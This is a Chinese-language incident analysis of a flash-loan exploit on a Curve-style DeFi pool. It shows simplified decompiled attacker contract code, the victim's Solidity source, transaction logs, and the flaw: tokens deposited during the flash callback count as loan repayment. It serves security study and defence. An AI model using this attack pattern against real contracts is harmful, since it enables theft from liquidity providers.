信息

攻击者地址:0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067

分析的交易:0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

发起攻击的合约:0x6cfa86a352339e766ff1ca119c8c40824f41f22d

函数调用参数:https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

tenderly: https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

代码和分析打包:https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq

发起攻击的合约逆向

完整逆向代码见:https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1

首先攻击者调用攻击合约,逆向代码进行了简化,攻击者设置了一些 require,防止被 bot 抢跑,这里我们删除这些语句还有逆向代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function 0xb727281f(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
if (1 < MEM[v1 + MEM[v1 + 32]]) {
if (0 < MEM[v1 + MEM[v1 + 32]]) {
0x34d3();
exit;
}
}
revert(Panic(50));
}

v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas); 调用了如下函数,位于 Curve/contracts/Curve.sol#550

1
2
3
4
5
6
7
8
9
/// @notice view deposits and curves minted a given deposit would return
/// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the
/// prevailing proportions of the numeraire assets of the pool
/// @return (the amount of curves you receive in return for your deposit,
/// the amount deposited for each numeraire)
function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) {
// curvesToMint_, depositsToMake_
return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);
}

ProportionalLiquidity.viewProportionalDeposit 是库合约中的函数,位于 Curve/contracts/ProportionalLiquidity.sol#78,第一个参数 curve 是一个结构体包括各种属性,第二个是计划存入的金额。具体内容不细致分析,读者感兴趣可以自行查看源码。这一段的作用是用于查看如果存入这么多金额,应该会返回多少代币。

之后经过很多检查后,攻击的合约执行如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function 0x34d3() private {
v0 = 0x3774(stor_9, stor_7);
v1 = 0x37e1(1000, v0);
v2 = _SafeSub(v1, stor_7);
v3 = 0x3774(stor_9, _uniswapV3FlashCallback);
v4 = 0x37e1(1000, v3);
v5 = _SafeSub(v4, _uniswapV3FlashCallback);
require(stor_0_0_19.code.size);
v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);
require(v6); // checks call status, propagates error data on error
require(stor_0_0_19.code.size);
v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);
require(v7); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v8);
require(stor_0_0_19.code.size);
v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);
require(v9); // checks call status, propagates error data on error
return ;
}

其中 0x3774 0x37e1 等函数是算术运算,不细看,直到开始调用 v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external transactable noDelegateCall isNotEmergency {
uint256 fee = curve.epsilon.mulu(1e18);

require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth');
require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/token1-zero-liquidity-depth');

uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);
uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);
uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));
uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));

if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);
if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);

IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);

uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));
uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));

require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');

// sub is safe because we know balanceAfter is gt balanceBefore by at least fee
uint256 paid0 = balance0After - balance0Before;
uint256 paid1 = balance1After - balance1Before;

IERC20(derivatives[0]).safeTransfer(owner, paid0);
IERC20(derivatives[1]).safeTransfer(owner, paid1);

emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
}

这是非常标准的闪电贷代码,关键是 IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); 回调了。

回调的攻击者合约代码如下(也做了简化):

1
2
3
function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable {
v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);
}

非常直接的开始存款,函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/// @notice deposit into the pool with no slippage from the numeraire assets the pool supports
/// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst
/// the numeraire assets of the pool
/// @return (the amount of curves you receive in return for your deposit,
/// the amount deposited for each numeraire)
function deposit(uint256 _deposit, uint256 _deadline)
external
deadline(_deadline)
transactable
nonReentrant
noDelegateCall
notInWhitelistingStage
isNotEmergency
returns (uint256, uint256[] memory)
{
// (curvesMinted_, deposits_)
return ProportionalLiquidity.proportionalDeposit(curve, _deposit);
}

具体参数 deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600)。它直接调用了库函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit)
external
returns (uint256 curves_, uint256[] memory)
{
int128 __deposit = _deposit.divu(1e18);

uint256 _length = curve.assets.length;

uint256[] memory deposits_ = new uint256[](_length);

(int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);

// Needed to calculate liquidity invariant
// (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve);

// No liquidity, oracle sets the ratio
if (_oGLiq == 0) {
for (uint256 i = 0; i < _length; i++) {
// Variable here to avoid stack-too-deep errors
int128 _d = __deposit.mul(curve.weights[i]);
deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI));
}
} else {
// We already have an existing pool ratio
// which must be respected
int128 _multiplier = __deposit.div(_oGLiq);

uint256 _baseWeight = curve.weights[0].mulu(1e18);
uint256 _quoteWeight = curve.weights[1].mulu(1e18);

for (uint256 i = 0; i < _length; i++) {
deposits_[i] = Assimilators.intakeNumeraireLPRatio(
curve.assets[i].addr,
_baseWeight,
_quoteWeight,
_oBals[i].mul(_multiplier).add(ONE_WEI)
);
}
}

int128 _totalShells = curve.totalSupply.divu(1e18);

int128 _newShells = __deposit;

if (_totalShells > 0) {
_newShells = __deposit.mul(_totalShells);
_newShells = _newShells.div(_oGLiq);
}

mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));

return (curves_, deposits_);
}

getGrossLiquidityAndBalancesForDeposit(curve) 计算之前存款的总流动性和余额,然后在 Assimilators.intakeNumeraireLPRatio 计算了存入金额和 LP 的比率,然后攻击者合约给 curve 合约打钱。下面是两个日志

1
2
3
4
5
6
7
8
9
10
11
{
"from":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"to":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"value":"2325581395325581"
}

{
"from":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"to":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"value":"100000000000"
}

之后 mint 代币给攻击者合约。

1
2
3
4
5
{
"from":"0x0000000000000000000000000000000000000000"
"to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"value":"387023837944937266146579"
}

当 flash 回调结束的时候

1
2
3
4
5
6
7
8
balance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492c
balance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac

balance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1d
balance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac

paid0 = 0xcb0ccb7c0f1
paid1 = 0x23c34600

说明还需要支付的代币已经少了很多了,因为最开始借贷的代币数量是:

1
2
3
4
5
6
7
8
9
10
11
{
"from":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"value":"0x83669d03f319c"
}

{
"from":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"value":"0x1724b3a200"
}

说明攻击者空手套白狼了两种代币,分别为 0x829b9038770ab 0x1700f05c00,需要还闪电贷的只是一个零头。通过多次这样的交易,攻击者大量套利。

感觉这个逻辑还是简单的,可能一个合约中不能出现重入比较好,或者说是业务逻辑考虑不周全,没有考虑其他函数造成的 balance 改变对 flash 的影响。一般考虑清楚每个 callback,考虑清楚每个函数依赖的变量是否可能在调用过程中篡改,就能避免很多问题。这里稍微复杂以下的是,获取 balance 的过程基本都是用到了代理合约还有计算汇率是采用了自己 abi 编码其他合约去处理,导致中间一大堆调用,跳过就好。

攻击的核心是在 curve 闪电贷的回调函数里,攻击者将借贷的代币存入 curve 合约,因为 curve 通过 balance(curve) 获取余额,所以存入的代币也被视作还款了。